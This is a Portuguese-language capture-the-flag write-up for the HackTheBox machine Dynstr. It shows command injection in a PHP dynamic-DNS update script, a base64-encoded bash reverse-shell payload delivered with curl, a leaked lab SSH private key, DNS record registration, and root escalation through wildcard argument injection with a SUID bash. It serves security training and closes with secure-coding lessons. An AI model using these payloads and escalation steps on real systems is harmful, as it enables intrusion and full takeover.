Dynstr Cover

Nesta máquina do HackTheBox o atacante deve explorar uma vulnerabilidade em um servidor de DNS dinâmico. Um script PHP, que é responsável pela atualização dos nomes de subdomínios, recebe um parâmetro via GET e o executa sem nenhum tipo de tratamento, o que permite a um atacante injetar código malicioso em um request e acessar o servidor. O script executa o nsupdate, o que permite ao invasor o registro de um subdomínio no server. Com uma enumeração local se descobre a chave SSH de um usuário que permite acesso remoto ao servidor. O usuário local possui permissões para executar um script com o sudo e desta forma é possível escalar privilégios abusando da vulnerabilidade no script.

Informações da Máquina

IP: 10.10.10.244

Sistema Operacional: Linux

Nível de dificuldade: Medium

Varredura e Enumeração

Port Scan

Iniciando um scan completo em todas as portas TCP abertas com nmap descobrimos apenas três portas: 22 (SSH), 53 (DNS) e 80 (HTTP). O sistema operacional do host é Ubuntu Linux.

# Nmap 7.91 scan initiated Fri Jul 16 22:55:22 2021 as: nmap -v -sV -sC -p 22,53,80 -Pn -oN details.txt 10.10.10.244
Nmap scan report for 10.10.10.244
Host is up (0.21s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 05:7c:5e:b1:83:f9:4f:ae:2f:08:e1:33:ff:f5:83:9e (RSA)
|   256 3f:73:b4:95:72:ca:5e:33:f6:8a:8f:46:cf:43:35:b9 (ECDSA)
|_  256 cc:0a:41:b7:a1:9a:43:da:1b:68:f5:2a:f8:2a:75:2c (ED25519)
53/tcp open  domain  ISC BIND 9.16.1 (Ubuntu Linux)
| dns-nsid: 
|_  bind.version: 9.16.1-Ubuntu
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
| http-methods: 
|_  Supported Methods: POST OPTIONS HEAD GET
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Dyna DNS
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Jul 16 22:55:41 2021 -- 1 IP address (1 host up) scanned in 18.60 seconds

Enumerando diretórios e arquivos na raíz da aplicação web com gobuster encontramos um diretório chamado nic.

gobuster dir -u http://10.10.10.244 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt

/nic                  (Status: 301) [Size: 310] [--> http://10.10.10.244/nic/] 

Prosseguindo com o scan neste diretório surge um recurso chamado update.

gobuster dir -u http://10.10.10.244/nic -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt

/update               (Status: 200) [Size: 8]

Webserver

Página inicial.

Página inicial

Inspecionando a página inicial encontramos domínios, que podem ser adicionados ao /etc/hosts para ter acesso através de seu nome. O site informa claramente que se trata de um servidor de DNS dinâmico. Também aparecem credenciais que podem dar acesso a algum recurso no servidor.

Domínios e credencial

Credenciais.

Username: dynadns
Password: sndanyd

Adicionando os domínios ao /etc/hosts.

dyna.htb
dnsalias.htb
dynamicdns.htb
no-ip.htb

Acessando a página web com o resultado do scan recebemos a mensagem “badauth” (não autorizado).

Badauth message

No site do no-ip podemos conferir como funciona a API para efetuar request e obter response.

Badauth message

Exemplo de requisição para atualizar o DNS.

http://username:password@dynupdate.no-ip.com/nic/update?hostname=mytest.example.com&myip=192.0.2.25

Exemplo de header GET request.

GET /nic/update?hostname=mytest.example.com&myip=192.0.2.25 HTTP/1.1
Host: dynupdate.no-ip.com
Authorization: Basic base64-encoded-auth-string
User-Agent: Company DeviceName-Model/FirmwareVersionNumber maintainer-contact@example.com

Analisando o exemplo acima, e levando em conta os domínios encontrados no site Dyna DNS, a credencial deve ser enviada em base64 no request. Desta forma o atacante poderá registrar seu nome de subdomínio junto ao servidor.

Vulnerabilidade

A vulnerabilidade está na requisição para executar o update no servidor DNS, especificamente no parâmetro hostname. Este é o parâmetro que permite o registro de um nome de subdomínio. E de acordo com o response do servidor, não há tratamento do que está sendo enviado e executado internamente.

Exploração

Gerando o payload em base64.

echo ‘bash -i >& /dev/tcp/<ip>/<port> 0>&1’ | base64

Com a hash base64 do comando acima podemos montar o payload para ser injetado no parâmetro hostname pelo BurpSuite.

`echo <base64-hash> | base64 -d | bash`

Para adicionar o código malicioso ao hostname o request foi interceptado pelo BurpSuite. Um ponto importante é utilizar url encode no payload para que os caracteres especiais sejam aceitos pelo servidor.

BurpSuite

O request também pode ser efetuado pelo curl.

curl "http://dyna.htb/nic/update?hostname=<payload>dnsalias.no-ip.htb&myip=<tun0-ip>" -H "Authorization: Basic ZHluYWRuczpzbmRhbnlk"

Abrindo uma porta local para receber o ‘reverse shell’.

rlwrap nc -lvnp 9001

Após o envio do request pelo curl ou BurpSuite recebemos a shell do servidor com o usuário www-data.

Reverse shell

Enumerando o diretório ‘nic’ foi encontrado um script PHP chamado “update”, responsável pela atualização de subdomínios no servidor.

Update file

Analisando o script PHP podemos visualizar a vulnerabilidade no parâmetro hostname. O payload é rebebido com $_GET[‘hostname’] e armazenado na variável $h. Logo abaixo aparece um $cmd, que é outra variável e monta a string de comando a ser executada no servidor (e junto vai o comando malicioso injetado pelo atacante). Finalmente surge o comando system do PHP que vai executar a string de comando armazenada em $cmd.

Estas são as linhas do script que permitiram a exploração da vulnerabilidade através do curl e BurpSuite.

list($h,$d) = explode(".",$_GET['hostname'],2); 
$cmd = sprintf("server 127.0.0.1\nzone %s\nupdate delete %s.$s\nupdate add %s.%s 30 IN A %s\nsend\n",$d,$h,$d,$h,$d,$myip);
system('echo "'.$cmd.'" | /usr/bin/nsupdate -t 1 -k /etc/bind/ddns.key', $retval);

Neste ponto é necessário uma observação em relação ao desenvolvimento de aplicações e scripts. Receber parâmetros e executá-los sem nenhum tipo de tratamento resulta no que está exposto nesta etapa de exploração, uma invasão a um servidor de DNS. Aqui entra o que atualmente se conhece como “desenvolvimento seguro”. Isto é, tratar o que é recebido antes de ser executado. A função de um Pentester é justamente explorar estas vulnerabilidades e se houver algum tipo de tratamento, buscar uma maneira de efetuar o ‘bypass’ utilizando payloads diferentes.

Em busca de credenciais no host encontramos o usuário bindmgr com chaves SSH em seu diretório. Porém, sem permissão para leitura na id_rsa.

Bindmgr folder

No mesmo diretório do usuário encontramos o diretório support-case-C62796521 com o seguinte conteúdo.

support-case-c62796521 folder

Inspecionando os arquivos da pasta foi localizada a chave SSH no arquivo strace-C62796521.txt.

Chave SSH

Com o comando echo podemos criar um arquivo ‘key’ que será a chave SSH para acessar remotamente o servidor.

echo "-----BEGIN OPENSSH PRIVATE KEY-----\nb3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABFwAAAAdzc2gtcn\nNhAAAAAwEAAQAAAQEAxeKZHOy+RGhs+gnMEgsdQas7klAb37
HhVANJgY7EoewTwmSCcsl1\n42kuvUhxLultlMRCj1pnZY/1sJqTywPGalR7VXo+2l0Dwx3zx7kQFiPeQJwiOM8u/g8lV3\nHjGnCvzI4UojALjCH3YPVuvuhF0yIPvJDessdot/D2VPJqS+TD/4NogynFeUrpIW5DSP+F\
nL6oXil+sOM5ziRJQl/gKCWWDtUHHYwcsJpXotHxr5PibU8EgaKD6/heZXsD3Gn1VysNZdn\nUOLzjapbDdRHKRJDftvJ3ZXJYL5vtupoZuzTTD1VrOMng13Q5T90kndcpyhCQ50IW4XNbX\nCUjxJ+1jgwAAA8g3MHb+Nz
B2/gAAAAdzc2gtcnNhAAABAQDF4pkc7L5EaGz6CcwSCx1Bqz\nuSUBvfseFUA0mBjsSh7BPCZIJyyXXjaS69SHEu6W2UxEKPWmdlj/WwmpPLA8ZqVHtVej7a\nXQPDHfPHuRAWI95AnCI4zy7+DyVXceMacK/MjhSiMAuMI
fdg9W6+6EXTIg+8kN6yx2i38P\nZU8mpL5MP/g2iDKcV5SukhbkNI/4UvqheKX6w4znOJElCX+AoJZYO1QcdjBywmlei0fGvk\n+JtTwSBooPr+F5lewPcafVXKw1l2dQ4vONqlsN1EcpEkN+28ndlclgvm+26mhm7NNMPV
Ws\n4yeDXdDlP3SSd1ynKEJDnQhbhc1tcJSPEn7WODAAAAAwEAAQAAAQEAmg1KPaZgiUjybcVq\nxTE52YHAoqsSyBbm4Eye0OmgUp5C07cDhvEngZ7E8D6RPoAi+wm+93Ldw8dK8e2k2QtbUD\nPswCKnA8AdyaxruDRuP
Y422/2w9qD0aHzKCUV0E4VeltSVY54bn0BiIW1whda1ZSTDM31k\nobFz6J8CZidCcUmLuOmnNwZI4A0Va0g9kO54leWkhnbZGYshBhLx1LMixw5Oc3adx3Aj2l\nu291/oBdcnXeaqhiOo5sQ/4wM1h8NQliFRXraymkOV
7qkNPPPMPknIAVMQ3KHCJBM0XqtS\nTbCX2irUtaW+Ca6ky54TIyaWNIwZNznoMeLpINn7nUXbgQAAAIB+QqeQO7A3KHtYtTtr6A\nTyk6sAVDCvrVoIhwdAHMXV6cB/Rxu7mPXs8mbCIyiLYveMD3KT7ccMVWnnzMmcpo2
vceuE\nBNS+0zkLxL7+vWkdWp/A4EWQgI0gyVh5xWIS0ETBAhwz6RUW5cVkIq6huPqrLhSAkz+dMv\nC79o7j32R2KQAAAIEA8QK44BP50YoWVVmfjvDrdxIRqbnnSNFilg30KAd1iPSaEG/XQZyX\nWv//+lBBeJ9YHlHLczZgfxR6mp4us5BXBUo3Q7bv/djJhcsnWnQA9y9I3V9jyHniK4KvDt\nU96sHx5/UyZSKSPIZ8sjXtuPZUyppMJVynbN/qFWEDNAxholEAAACBANIxP6oCTAg2yYiZ\nb6Vity5Y2kSwcNgNV/E5bVE1i48E7vzYkW7iZ8/5Xm3xyykIQVkJMef6mveI972qx3z8m5\nrlfhko8zl6OtNtayoxUbQJvKKaTmLvfpho2PyE4E34BN+OBAIOvfRxnt2x2SjtW3ojCJoG\njGPLYph+aOFCJ3+TAAAADWJpbmRtZ3JAbm9tZW4BAgMEBQ==\n-----END OPENSSH PRIVATE KEY-----\n" > key

Setando permissões ao arquivo key.

chmod 600 key

Apesar de ter a chave SSH a conexão não pôde ser realizada porque o servidor não aceita conexões vindas de outros hosts que não tenham seus nomes registrados. A informação pode ser conferida no arquivo authorized_keys na pasta oculta .ssh do usuário bindmgr.

cat authorized_keys

Somente nomes com seus IP’s associados e registrados no domínio infra.dyna.htb podem se conectar.

from="*.infra.dyna.htb"

Para registrar um nome ao server foi utilizado o nsupdate, que está sendo usado pelo script update.

Nsupdate

A key do domínio infra está localizada em /etc/bind/infra.key.

infra.key

Exemplo de uso do nsupdate com a key da infra.

nsupdate -k /etc/bind/infra.key
update add haderach.infra.dyna.htb 86400 A 10.10.14.110
update add 110.14.10.10.in-addr.arpa 86400 PTR haderach.infra.dyna.htb
send

No último comando nsupdate acima é registrado o PTR (pointer record ou reverse DNS record) e informado o IP de forma reversa.

Nsupdate add

Acessando o servidor via SSH após o registro do nome “haderach.infra.dyna.htb” e obtendo a flag no arquivo user.txt.

ssh -i key bindmgr@10.10.10.244
Nsupdate add

Escalação de Privilégios

O usuário bindmgr possui privilégios de root no script bindmgr.sh com o sudo e sem necessidade de informar a senha do usuário.

Sudo

Conteúdo do script bindmgr.sh.

#!/usr/bin/bash

# This script generates named.conf.bindmgr to workaround the problem
# that bind/named can only include single files but no directories.
#
# It creates a named.conf.bindmgr file in /etc/bind that can be included
# from named.conf.local (or others) and will include all files from the
# directory /etc/bin/named.bindmgr.
#
# NOTE: The script is work in progress. For now bind is not including
#       named.conf.bindmgr. 
#
# TODO: Currently the script is only adding files to the directory but
#       not deleting them. As we generate the list of files to be included
#       from the source directory they won't be included anyway.

BINDMGR_CONF=/etc/bind/named.conf.bindmgr
BINDMGR_DIR=/etc/bind/named.bindmgr

indent() { sed 's/^/    /'; }

# Check versioning (.version)
echo "[+] Running $0 to stage new configuration from $PWD."
if [[ ! -f .version ]] ; then
    echo "[-] ERROR: Check versioning. Exiting."
    exit 42
fi
if [[ "`cat .version 2>/dev/null`" -le "`cat $BINDMGR_DIR/.version 2>/dev/null`" ]] ; then
    echo "[-] ERROR: Check versioning. Exiting."
    exit 43
fi

# Create config file that includes all files from named.bindmgr.
echo "[+] Creating $BINDMGR_CONF file."
printf '// Automatically generated file. Do not modify manually.\n' > $BINDMGR_CONF
for file in * ; do
    printf 'include "/etc/bind/named.bindmgr/%s";\n' "$file" >> $BINDMGR_CONF
done

# Stage new version of configuration files.
echo "[+] Staging files to $BINDMGR_DIR."
cp .version * /etc/bind/named.bindmgr/

# Check generated configuration with named-checkconf.
echo "[+] Checking staged configuration."
named-checkconf $BINDMGR_CONF >/dev/null
if [[ $? -ne 0 ]] ; then
    echo "[-] ERROR: The generated configuration is not valid. Please fix following errors: "
    named-checkconf $BINDMGR_CONF 2>&1 | indent
    exit 44
else 
    echo "[+] Configuration successfully staged."
    # *** TODO *** Uncomment restart once we are live.
    # systemctl restart bind9
    if [[ $? -ne 0 ]] ; then
        echo "[-] Restart of bind9 via systemctl failed. Please check logfile: "
	systemctl status bind9
    else
	echo "[+] Restart of bind9 via systemctl succeeded."
    fi
fi

O script verifica se existe um arquivo .version com um número de versão na pasta atual e copia todos os arquivos da pasta para o diretório named.bindmgr, como informado na linha abaixo.

cp .version * /etc/bind/named.bindmgr/

A forma de escalar privilégios é criar um arquivo .version e copiar o bash (/bin/bash) para a pasta local.

echo 1 > .version
cp /bin/bash .

Dar a este novo bash um bit SUID e preservar o modo neste binário criando um arquivo “–preserve=mode”. Quando o script for executado teremos um binário com privilégios de root em /etc/bind/named.bindmgr/.

chmod +s bash
echo > --preserve=mode

Executando o script com o sudo para copiar o novo bash para o diretório named.bindmgr.

sudo /usr/local/bin/bindmgr.sh 

Executando a cópia do bash e obtendo a shell do root.

/etc/bind/named.bindmgr/bash -p
Root shell

Obtendo a flag no arquivo root.txt.

Root flag

Neste writeup alguns pontos importantes sobre segurança puderam ser abordados.

  • Parâmetros devem ser tratados antes de serem passados para execução por uma aplicação ou script.
  • O sudo deve ser usado com a senha do usuário.
  • Usar * (asterisco) como argumento em um script pode ser perigoso.

Até a próxima!